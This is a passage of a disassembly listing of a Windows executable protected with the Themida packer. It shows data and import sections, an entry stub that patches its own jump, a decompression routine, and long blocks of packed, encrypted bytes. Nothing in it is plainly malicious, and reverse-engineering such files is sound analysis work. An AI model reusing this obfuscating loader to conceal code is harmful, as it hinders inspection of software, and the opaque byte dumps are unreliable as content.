dword_4CF01C	dd 0			; DATA XREF: sub_41AD89+8r
					; sub_41ADB4+2D0r ...
dword_4CF020	dd 0			; DATA XREF: sub_417BC7+Fr
					; sub_41944F+5Cr ...
dword_4CF024	dd 2420000h		; DATA XREF: sub_417BC7+66r
					; sub_417C3B+5Ar ...
dword_4CF028	dd 1			; DATA XREF: sub_417BC7r sub_417C3B+Cr ...
dword_4CF02C	dd 142340h		; DATA XREF: ___:0041F13Er
					; ___:0041F269r
dword_4CF030	dd 1			; DATA XREF: ___:0041F234w sub_421DAEr
dword_4CF034	dd 1			; DATA XREF: sub_41ECF1r
					; sub_41ECF1+11w ...
dword_4CF038	dd 2420758h		; DATA XREF: sub_418603+13r
					; sub_418603:loc_418645r ...
dword_4CF03C	dd 2420758h		; DATA XREF: sub_418603+1r
					; sub_418603+Cr ...
		dd 3F0h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000D1000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000D1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4D1000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 000D2000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000D2000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4D2000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0D2050h, 0D2000h, 3 dup(0)
		dd 0D2079h, 0D200Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000D3000)
; Virtual size			: 000DB000 ( 897024.)
; Section size in file		: 000DB000 ( 897024.)
; Offset to raw	data for section: 000D3000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4D3000h
		dd 9BEAE079h, 4ECE1h, 5FECAh, 98172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004D3265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0052DCF8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00530FE9 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053125F SIZE 0000004F BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4D3086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4D3041
		popa
		jmp	short loc_4D3076
; ---------------------------------------------------------------------------
a70m		db 'Û-70M',0
		db 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4D3041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4D304E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4D306D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4D3074


loc_4D306D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4D304E
; ---------------------------------------------------------------------------


loc_4D3074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4D3076:				; CODE XREF: start+1Bj
		jmp	loc_4D3265
; ---------------------------------------------------------------------------
		db 3
aJ2		db 'ǹj2',0Dh,0
		dw 0CF03h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4D3086:				; CODE XREF: start+8j
		mov	eax, offset loc_52DCF8
		mov	ecx, offset word_4D326A
		push	eax
		push	ecx
		call	sub_4D311B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4D3265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4D311B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4D3127:				; CODE XREF: sub_4D311B:loc_4D313Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4D3132:				; CODE XREF: sub_4D311B+7Aj
					; sub_4D311B+C3j ...
		add	dl, dl
		jnz	short loc_4D313B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D313B:				; CODE XREF: sub_4D311B+19j
		jnb	short loc_4D3127
		add	dl, dl
		jnz	short loc_4D3146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D3146:				; CODE XREF: sub_4D311B+24j
		jnb	short loc_4D3197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4D3153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D3153:				; CODE XREF: sub_4D311B+31j
		jnb	loc_4D3238
		add	dl, dl
		jnz	short loc_4D3162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D3162:				; CODE XREF: sub_4D311B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D316D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D316D:				; CODE XREF: sub_4D311B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D3178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D3178:				; CODE XREF: sub_4D311B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D3183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D3183:				; CODE XREF: sub_4D311B+61j
		adc	eax, eax
		jz	short loc_4D318D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4D318D:				; CODE XREF: sub_4D311B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4D3132
; ---------------------------------------------------------------------------


loc_4D3197:				; CODE XREF: sub_4D311B:loc_4D3146j
		mov	eax, 1


loc_4D319C:				; CODE XREF: sub_4D311B:loc_4D31B0j
		add	dl, dl
		jnz	short loc_4D31A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D31A5:				; CODE XREF: sub_4D311B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D31B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D31B0:				; CODE XREF: sub_4D311B+8Ej
		jb	short loc_4D319C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4D31E3
		mov	ecx, 1


loc_4D31C0:				; CODE XREF: sub_4D311B:loc_4D31D4j
		add	dl, dl
		jnz	short loc_4D31C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D31C9:				; CODE XREF: sub_4D311B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4D31D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D31D4:				; CODE XREF: sub_4D311B+B2j
		jb	short loc_4D31C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4D3132
; ---------------------------------------------------------------------------


loc_4D31E3:				; CODE XREF: sub_4D311B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4D31F1:				; CODE XREF: sub_4D311B:loc_4D3205j
		add	dl, dl
		jnz	short loc_4D31FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D31FA:				; CODE XREF: sub_4D311B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4D3205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D3205:				; CODE XREF: sub_4D311B+E3j
		jb	short loc_4D31F1
		cmp	eax, 7D00h
		jnb	short loc_4D3228
		cmp	eax, 500h
		jb	short loc_4D3223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4D3132
; ---------------------------------------------------------------------------


loc_4D3223:				; CODE XREF: sub_4D311B+F8j
		cmp	eax, 7Fh
		ja	short loc_4D322B


loc_4D3228:				; CODE XREF: sub_4D311B+F1j
		add	ecx, 2


loc_4D322B:				; CODE XREF: sub_4D311B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4D3132
; ---------------------------------------------------------------------------


loc_4D3238:				; CODE XREF: sub_4D311B:loc_4D3153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4D3259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4D3132
; ---------------------------------------------------------------------------


loc_4D3259:				; CODE XREF: sub_4D311B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4D311B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4D3265:				; CODE XREF: start:loc_4D3076j
					; start+9Dj
		jmp	loc_52DCF8
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4D326A	dw 38E9h		; DATA XREF: start+77o
		dd 15332ECh, 0E101BCAAh, 9822FE0Ah, 52011FE1h, 61747365h
		dd 7041CC72h, 78F42EE2h, 5717C2F9h, 700F3359h, 3078FF8Fh
		dd 312D3834h, 68540047h, 64696D65h, 0EE1AE161h,	0EF10018Eh
		dd 0BAB449AEh, 3DC35E8h, 4AFE7723h, 0AE607A01h,	8033637h
		dd 92917757h, 0AFAEC45Ch, 0E2AB0146h, 0FA102E21h, 3521CBAh
		dd 445FFD23h, 55087722h, 0C27145FEh, 2491F715h,	0E4F78770h
		dd 0E3215C11h, 0D490C58Bh, 10E1E860h, 1ED815Dh,	61F32FBh
		dd 407D9589h, 1245B506h, 40658588h, 0BD3D8307h,	74C0C1B1h
		dd 0E88B390Ch, 0F4B8E216h, 92F7C22Dh, 0C41B4470h, 21EA3Eh
		dd 0A3E8456Ah, 9A6829C0h, 0F4078374h, 250AA0DFh, 0A893D4Bh
		dd 0E914D522h, 0AFFC0214h
		db 0A0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		adc	eax, 0EED8C483h
		sbb	byte ptr [edx-7Fh], 0EAh
		jmp	near ptr 0DAD8B381h
; ---------------------------------------------------------------------------
		dw 0C712h
		dd 836D845h, 8940310Eh,	0F97D8108h, 741D8C80h, 0FE08200Fh
		dd 45536683h, 431812FFh, 0DC36E1EBh, 526DD61h, 104C2C9h
		dd 7CC48146h, 4902A3FFh, 343288h, 8B80458Dh, 0C728085Dh
		dd 50891985h, 0D10A408Dh, 181588C3h, 140B8941h,	4006BD81h
		dd 0E352755Dh, 0BA8D8527h, 7580641Dh, 0BB0E8A80h, 15B92F4h
		dd 5437ABB8h, 0F9D0D378h, 4B08870Fh, 0AF60F775h, 0A44647C3h
		dd 54468C4Ah, 57D142F9h, 0D0408A61h, 14FBEBF0h,	4DFC45EEh
		dd 0AD04EB14h, 80461879h, 0BAF7403Eh, 34DC84A6h, 0EB0C7DC3h
		dd 0F83E217Fh, 0F0126D99h, 0F40E9509h, 0C14A0210h, 8004F065h
		dd 0E0D1F8D6h, 0C0C27203h, 8ADB3328h, 8039301Ch, 0A7298FBh
		dd 7A77390Ah, 0E4EB7D05h, 6114CF22h, 660A0DECh,	1EDE08FEh
		dd 0AC39DBEh, 411A1058h, 0A0B6172h, 0BD067746h,	30014424h
		dd 0F4ECF05Dh, 2E67D83h, 0CB07236h, 0A5766EC0h,	0F826AACCh
		dd 8D0E9C83h, 3B01A8D4h, 820FFC55h, 0B0BD5378h,	387CAA83h
		dd 0C108BAA1h, 5070C1B9h, 3578BDFCh, 30FFE80h, 0FA754947h
		dd 6A8B22B9h, 3101BBB8h, 82F10E0Eh, 0B002DBEBh,	796868Eh
		dd 51072037h, 0E8360765h, 268A9DBBh, 88E97CE2h,	0DC1D8259h
		dd 6F434CF8h, 0F06B74B4h, 0C304E953h, 0C45B2123h, 25558A90h
		dd 45820519h, 21801508h, 6CC45343h, 3CC8C32Ch, 0EE5CC754h
		dd 625D8A44h, 54442117h, 8A6BD8C4h, 1712EA30h, 0CD40E3h
		dd 8D363769h, 1A7AE178h, 30F8EB03h, 286A02C2h, 96F1CAh
		dd 0A756C482h, 0CB8C22A3h, 677B3470h, 5B4E3900h, 0B8100F76h
		dd 43D1F51h, 983B1DD1h,	9756646h, 11602E75h, 0E4EC480Eh
		dd 6902965h, 0C584008Eh, 0A9968E05h, 1E53ABA9h,	29C20415h
		dd 0F2718C19h, 0AD0EB3E7h, 812B0CFFh, 1D220477h, 84C13401h
		dd 207533F9h, 773FBC90h, 0EF670A76h, 41330230h,	7F8C89ECh
		dd 90FFCC9Fh, 0EA45CF40h, 625060E9h, 8C5200C4h,	8211254Dh
		dd 0CD84B1AAh, 8845AABh, 11915613h, 0EE825E82h,	3281AAB4h
		dd 8A3E7211h, 8113B9A8h, 434A9723h, 381100Ch, 80FB413h
		dd 6ADA8D67h, 0E2830B85h, 0A281F98Bh, 52254105h, 0C4725A18h
		dd 114D8A23h, 52420019h, 51DC33C4h, 82D21FB5h, 0CE1BC4CCh
		dd 0D62D8C54h, 0BAD3D91Eh, 5E7AE87h, 1075CFE0h,	4F0C03D1h
		dd 0CA0B8F4Eh, 8F2B86C1h, 3C2BC33h, 0D9C82FF1h,	0FA980FF6h
		dd 67611F02h, 0C997BC03h, 751EEA62h, 0B0C6017h,	0D2025A58h
		dd 3B3AFB1Eh, 0B69069C5h, 20012522h, 8ADAC010h,	8521CDFBh
		dd 0A278BC1Ah, 201649C6h, 0E9553372h, 0C0E4C9DAh, 253DE7CEh
		dd 454F0127h, 0CF8E6793h, 0B0669BD8h, 0EAFE2474h, 0F11840D4h
		dd 69E692BFh, 6A9BFB00h, 12BA8175h, 85380010h, 96B9CB0Dh
		dd 0FA065A62h, 65E8C282h, 6A10FDD1h, 0DD00F260h, 3A33FD1h
		dd 38D945BDh, 0E189BF8Ch, 59035363h, 0C70C8B8h,	8767323Fh
		dd 0FA615BDAh, 9803F925h, 88624F6Bh, 12FCC382h,	143AB8F7h
		dd 0F3036AD3h, 21882E68h, 22301E01h, 10EA09C7h,	58238380h
		dd 0EEACF436h, 8F976707h, 0CC81D68Ah, 12D8051Ah, 4E07781h
		dd 1002EA84h, 8C308882h, 24AFF32h, 73C4161h, 12FF2416h
		dd 3F0B80EAh, 6638FA2h,	8462614Bh, 862E4EEFh, 714AF093h
		dd 88DC1840h, 0DE6F48C4h, 7D33F800h, 7D5E459h, 0A1BC9F0Fh
		dd 0B60C0CBh, 308D02D2h, 0FD180453h, 521890C0h,	0BF1113EFh
		dd 1C267A27h, 0C0A29495h, 0D2C6D5DBh, 8002551h,	0E912EB1Eh
		dd 74AC457h, 0EE07FC59h, 0BA694C42h, 48F6C030h,	0E9B96918h
		dd 0A93C1887h, 73E08F8Dh, 4416B785h, 0FC005EE8h, 56E5428Ah
		dd 74ACD557h, 0BCEE0027h, 5C4BDE18h, 6300DD50h,	0FFEC3BE8h
		dd 63035E6h, 0F4BA68F1h, 3D00B117h, 0E7EB520Dh,	3FB7282h
		dd 4D5C8470h, 0A81C9D39h, 608091ECh, 0BEF34454h, 0FA1F0075h
		dd 4A7AB6EAh, 0A3208ACDh, 562F00BCh, 3938D851h,	0EE3805EDh
		dd 6806B037h, 0C1A08DCAh, 0EFC65429h, 0E981832Bh, 0F878C58Ah
		dd 262D61h, 13C7F2CEh, 7FBD8E37h, 5DACF800h, 4FB48583h
		dd 0EB880AE1h, 8C82E3h,	21231BBDh, 0B103DAFBh, 24625A40h
		dd 0E94198FAh, 0E86A00E4h, 0FE05ABF9h, 0C9E6689Ah, 49D9C71Fh
		dd 0C6441906h, 252D1E08h, 6A2C00CAh, 0A0EEAE61h, 8C1FD807h
		dd 184C67A4h, 56A218E8h, 0A3E6DE7Dh, 0AE0C5F54h, 3904191Fh
		dd 0F929BF07h, 51D16CCFh, 292D6041h, 5DC21072h,	6CF08A00h
		dd 26771579h, 4481001Eh, 895C0FC7h, 0A40C0A76h,	68D729AEh
		dd 0A1E31049h, 0FB1907E5h, 0DDE0F525h, 3ED5F6Ch, 9E5EC2C7h
		dd 0B03DB6CAh, 21C530B3h, 3E27D661h, 7E0CD374h,	2190E986h
		dd 29825500h, 0B81CCA73h, 0F9ED03BFh, 281DFDD0h, 9AAA3800h
		dd 0FA2F256Ah, 43D5F9B2h, 12C61986h, 0D90049A2h, 5E917DD0h
		dd 39B5762h, 0C83D8C68h, 2E8B52C1h, 8BE96000h, 21A48619h
		dd 1D610549h, 40E101C8h, 37AD818Ch, 437B0F26h, 0D9005FE4h
		dd 0A4AA4BC3h, 77694C1Dh, 0C91F158Bh, 1909A082h, 0E407E03Dh
		dd 0E9E430C5h, 134C0CDCh, 598100CBh, 1BEE81Ch, 31DA6083h
		dd 0ACCC0C2Ah, 0C9DCC426h, 91C88E03h, 3A4E81Eh,	20920068h
		dd 15D331A8h, 0E8C63D61h, 7712741h, 5D96CDF5h, 7CDFB01Eh
		dd 7D01DD57h, 2A2782C0h, 0CC489AE3h, 1D2510B3h,	9E611C36h
		dd 18C89114h, 2C207A13h, 0CAD40038h, 4832E982h,	770F01EEh
		dd 27399DC5h, 41B3DA2Dh, 0DD790029h, 7D6E7822h,	1D1E402Fh
		dd 6F403133h, 0BDB71093h, 53BB24A4h, 7B320A54h,	0ACA900F0h
		dd 4E2891D4h, 403DEC01h, 0C7AE7525h, 0B0F9C440h, 21952A1Dh
		dd 0FAD73FE4h, 0B2C6C981h, 9F1F5DEDh, 0C7C0E718h, 12C435BEh
		dd 64F4A896h, 0EC970089h, 5AE5C038h, 0E703AC5Ch, 7E75169Bh
		dd 8B6103CFh, 0E1561D6Ah, 4A8A1107h, 36448679h,	71B36098h
		dd 383852F5h, 73D6FE05h, 5C980099h, 2BA0E34Ah, 20C631C0h
		dd 59BFA10h, 0AE28963Bh, 1A84472h, 492491D8h, 3BEECC30h
		dd 0C24E8E0Eh, 6925809Bh, 0F1D6E8h, 2453A508h, 3382F6A3h
		dd 511888h, 81D18A6Dh, 32A23CECh, 80F95801h, 0E95A54FAh
		dd 14704020h, 88C97D9Ch, 77796E31h, 3D49ECE6h, 0A3546500h
		dd 0F5C9DDF1h, 2672000Eh, 58CBBD47h, 0CE600120h, 37C9EDA1h
		dd 0A66B047Ah, 80FDF17Eh, 8285DDECh, 0E02C44h, 0C3ECA2D1h
		dd 0C8F08816h, 32634602h, 445AB17Ch, 0B3291A6Ch, 9438896Fh
		dd 0D8A8A413h, 0A607E7C5h, 0E537E279h, 34CAB940h, 0DD9F665h
		dd 0DF0150FAh, 0D706D099h, 3520ED00h, 3D228DA5h, 414B119Eh
		dd 0EFDA0021h, 0E11F0A92h, 281C1824h, 492C71ADh, 74A63324h
		dd 0EF15A940h, 6CDC0E52h, 0AB890EE8h, 14E00885h, 0E6129018h
		dd 981001FDh, 40853C45h, 0B3B0B16Ch, 6206498h, 0AAA8008Ah
		dd 6B021D5Ch, 9400E55Dh, 0B6C72999h, 4492C6h, 4C343841h
		dd 6A5F6172h, 0F7AAF800h, 26984F74h, 206E1DA3h,	1C15013Eh
		dd 0C81AFFE0h, 231E6AAAh, 0F606E157h, 149829h, 3DEDA1D7h
		dd 0F8845DE4h, 6CF7E20Eh, 9084FEECh, 16C0DB19h,	4828A969h
		dd 70734829h, 5DBA3CF3h, 0AE89E82h, 0BC663D1Dh,	108413Ch
		dd 2AF733D3h, 198381FDh, 8D7F42C8h, 0E9008384h,	53C0DA98h
		dd 0B0FAD513h, 0A3CEDC60h, 1B84A096h, 9EE315CAh, 4002A42Ah
		dd 0D6B24D67h, 0BE76A203h, 2248984Ah, 95291A63h, 0D203BC7Dh
		dd 30827Ah, 0D9C2C611h,	2511E764h, 137893Ch, 0D14EFFA0h
		dd 41832A41h, 0DF03B4BDh
		dd 28438288h, 0F7B76E00h, 81B69627h, 6B0F0F84h,	0B0A4E6CAh
		dd 803C95A5h, 72ABD6C7h, 84074898h, 9CE57787h, 569EE7C0h
		dd 0A8B2BEh, 0C0C9734Dh, 8A5B78A4h, 9E656A0Ch, 12AFD005h
		dd 44E4202Ch, 0C89DE350h, 0EA6F2D1Ch, 228582D1h, 39B38657h
		dd 1F6422F8h, 5281A7Ch,	0A4F488E2h, 0C64C48B0h,	263E8634h
		dd 427329h, 0C3C1B54Ch,	6D9BB223h, 60693D06h, 696C12h
		dd 0D1FDD67Fh, 0E7A29E84h, 0CD5BE3Ah, 60E1057Eh, 3A1D1821h
		dd 228BB9DAh, 3169F2F0h, 9C341810h, 0CEDC0137h,	8EA9B067h
		dd 2441E08Ah, 0BEB389C0h, 3DCBCFh, 0E6DE42BBh, 62F6DD59h
		dd 0E915B209h, 32080047h, 0B9222C5Ah, 0A4E30428h, 60FC8AD8h
		dd 75BB52F6h, 94321DFBh, 97A1C026h, 5F427BC9h, 0B8E42530h
		dd 362819BAh, 0C8E923A9h, 4C8EA20h, 4CA31B69h, 952CD19Ah
		dd 0AA318836h, 18D1875Bh, 0C2EC4F69h, 8322DD91h, 0F4120030h
		dd 0B151C1F3h, 54002AA0h, 72972646h, 92D75EA3h,	0FAF9048Ch
		dd 131B2515h, 6F8A6404h, 0CE88B00h, 0D2018C39h,	50527869h
		dd 0ACF129FBh, 84402830h, 9E752108h, 2084282Dh,	1230D015h
		dd 0A66199E9h, 3C9F48AEh, 1225AF1Dh, 30C4580Ah,	0E4A4FFBDh
		dd 0FADC3E54h, 0E1C93C03h, 74A1269Eh, 40ED7138h, 0F93CE839h
		dd 20BD182Ah, 1D8E310h,	4AC9496Bh, 82CEE9AEh, 19E0A850h
		dd 750C643h, 0D60A0CC4h, 0CB845015h, 970078A0h,	0DA7BBA10h
		dd 2AEBBE8h, 0EB983A33h, 4452ED2Ch, 0F0A6E326h,	3E992D41h
		dd 0C5001072h, 7124BEDAh, 0DB0FA043h, 6022DE77h, 9A3C853Dh
		dd 21A31EF3h, 0EA8C099Ch, 0ED6BF500h, 77351C8Bh, 0C880F98Dh
		dd 4A2B9CCEh, 787403D3h, 50A39A8Fh, 0F8E88100h,	565228Ah
		dd 9190A0ECh, 0CF1D13AEh, 0C8F40058h, 0D4CCAA92h, 292FC200h
		dd 9D66A6C9h, 2BF404B3h, 0A0865521h, 1B1D9834h,	9645764Ah
		dd 30025FA4h, 41358AF3h, 37102AF4h, 286041A7h, 73219C21h
		dd 0C8AC0FA8h, 0A41BA72h, 0ECDD84EAh, 60AA5F0Dh, 343D2CC0h
		dd 8FA6E183h, 0A3401983h, 51122550h, 0F020AF28h, 66867AA1h
		dd 21D1A0DCh, 0D873F9h,	5C7871FCh, 39EE7256h, 59808AFAh
		dd 0F30398BCh, 114C1F61h, 0DF3D1008h, 0D90B011Bh, 6813D7A8h
		dd 8CFA80C0h, 67BAA6FEh, 0CA7A106Ch, 494313BCh,	0AC1013F0h
		dd 0EA3062C1h, 0F99290DFh, 20A898A8h, 0E7036EF3h, 0B20ED550h
		dd 83F8194Ah, 0F52D40C5h, 0BF3C51CAh, 8B1882C4h, 64822421h
		dd 9A2C0E14h, 5CA0267Dh, 0DFDC42AAh, 6F3BB290h,	0F50478DAh
		dd 736C370Bh, 0FAD68881h, 0A2E94E00h, 32B11602h, 482A69EDh
		dd 2056A4A0h, 0A301D999h, 0D58A8C78h, 6460F91Eh, 63364149h
		dd 0DC007424h, 894C573Ah, 3EFAD2C6h, 9E13B831h,	980809B3h
		dd 76002C64h, 0B2090AAh, 2688873Bh, 40F04160h, 0A707DA4h
		dd 21661103h, 9DEDA65h,	0E72CDFA8h, 7A4DE066h, 0AF311628h
		dd 3403A00Ah, 8E1EA111h, 0E260800Fh, 0CCF78965h, 100C234Ch
		dd 0C104FED5h, 18D79652h, 28756930h, 2408D6A6h,	722C65A3h
		dd 896BA043h, 76049011h, 5DF313B6h, 1A60213Bh, 9C0405D1h
		dd 2492F165h, 0F26B20D7h, 8100DFBAh, 0E19D1180h, 1A5287Bh
		dd 51AA4491h, 71B28F5Fh, 1CE4C65Eh, 0F86BBF33h,	5766E1AFh
		dd 27A4D424h, 500AD55Eh, 0E17A08CCh, 5D40FA18h,	393F812Dh
		dd 4192954h, 6058B4C4h,	6180DA59h, 0FC5E599Eh, 0DA15A91Fh
		dd 8C0118D9h, 0E687A8h,	613E4DACh, 93EF78CCh, 6692C8F5h
		dd 3D00E97Ah, 0E7EBA561h, 9A111D3Ch, 4A0CB0B8h,	3D3002EEh
		dd 0CC605EBAh, 0FA8ED32Ah, 0B5510301h, 8EAA6AA8h, 3C692E8h
		dd 7698A60Bh, 2514A3B1h, 64029A4Dh, 31217848h, 310EB62h
		dd 44CDF528h, 98B49174h, 0F3FC61A4h, 0C068C4A4h, 5F322840h
		dd 89169E31h, 2824CEE7h, 1B480CA9h, 92D0229Ch, 0AE336B0Ch
		dd 2AB32972h, 128C25EDh, 4F83715Fh, 7DE33C48h, 8814E3B6h
		dd 850868A4h, 0B850A782h, 6967A1ACh, 0BBA700F2h, 0E5247EA4h
		dd 3F1F20A8h, 796E9E8Ch, 27330328h, 0A9B97E9Ch,	186A2025h
		dd 2A4A6928h, 0E418C667h, 8C665455h, 0C7C0199Ch, 10757033h
		dd 1C478382h, 80691D08h, 359939C8h, 0E81980F2h,	5EC0F898h
		dd 68FA4182h, 0ACA0D601h, 624F51C0h, 0F79AF300h, 0F445F1BEh
		dd 19BF0193h, 0AE38973Dh, 0F5A91326h, 82CC9820h, 1F3887Ah
		dd 7414864Ah, 0BFB70E6Ch, 7DFA9CEDh, 0EA799600h, 22A61F5Eh
		dd 80E01BCBh, 16A3B968h, 96DC822h, 0D9DFFA20h, 99C4482h
		dd 4CD22924h, 0B290A0E6h, 482B8A7Ch, 322EC1Ah, 28AD6BEAh
		dd 29D0D195h, 77C1282Ah, 58881B28h, 3ABB1E4Ah, 6BD683D5h
		dd 0A5E6AAD8h, 20CD08C2h, 78A62F5Eh, 6C53167Bh,	59FCC740h
		dd 88C81E84h, 14471BBh,	0B3F8CB20h, 22D48B6Bh, 5A131200h
		dd 9C344456h, 2A783C6Eh, 12A41D9Bh, 0D66FA7D0h,	8E653048h
		dd 342A1161h, 95797321h, 0B45DBF0h, 0F76CD737h,	0D0382406h
		dd 79296205h, 10802033h, 0A27202B0h, 46BC3C48h,	0AA28C2E1h
		dd 9598A3B4h, 0E302CCE9h, 0A8A7C99Ch, 0A3398CFFh, 244A675Ah
		dd 3C1054DAh, 1320E84h,	2D1830E7h, 71877F31h, 0D0295A67h
		dd 0DAD0905Fh, 9DBD3702h, 62975002h, 0C170AE18h, 6913591Eh
		dd 88D4A070h, 0E73EB9A9h, 292056A4h, 4105BC10h,	0A0043E0Fh
		dd 9C83C044h, 0D5419FA3h, 0C46169FAh, 9490FDFBh, 0C0DEB713h
		dd 0BA8C9C38h, 96006D47h, 5A29D086h, 0FEA00794h, 2EEF00C4h
		dd 0C71401B2h, 4E5178CBh, 871DDCE0h, 89008A7Bh,	52BAAD80h
		dd 7AD9A4h, 0C2C937C8h,	0C5266F74h, 9D2F3200h
		db 20h,	0B1h
word_4D4152	dw 0E5F7h		; DATA XREF: ___:off_42E644o
		dd 7382066Eh, 40AF1017h, 7FC71208h, 0D8013FAAh,	0B261FD97h
		dd 146BE0C2h, 63DED007h, 0B6005EFh, 37E5BA9h, 1C532673h
		dd 0C7E3E488h, 7BBAB8D0h, 98937801h, 0C0B22BFDh, 2C2BB029h
		dd 0A0F25504h, 93A34EF8h, 80034E8Ah, 127A772Ah,	3BDED800h
		dd 80E465Ah, 81A900D6h,	0AE4E3CA1h, 0F90E8D9Ah,	0A6064A87h
		dd 40A476h, 79F729C9h, 0D0202851h, 0EF5EE300h, 0FD1A3D17h
		dd 79767C6Eh, 903E0074h, 4BC30DA3h, 9581BB02h, 8128CEE8h
		dd 0FF3BD17Bh, 0F9EF2FB8h, 0E2440803h, 0E0564A5Bh, 5C724Eh
		dd 5AC30991h, 2A778CC7h, 290A100h, 7592F72Eh, 0C5BC83A5h
		dd 0BB942E38h, 99784800h, 0C9270494h, 2874C70Bh, 3093000Dh
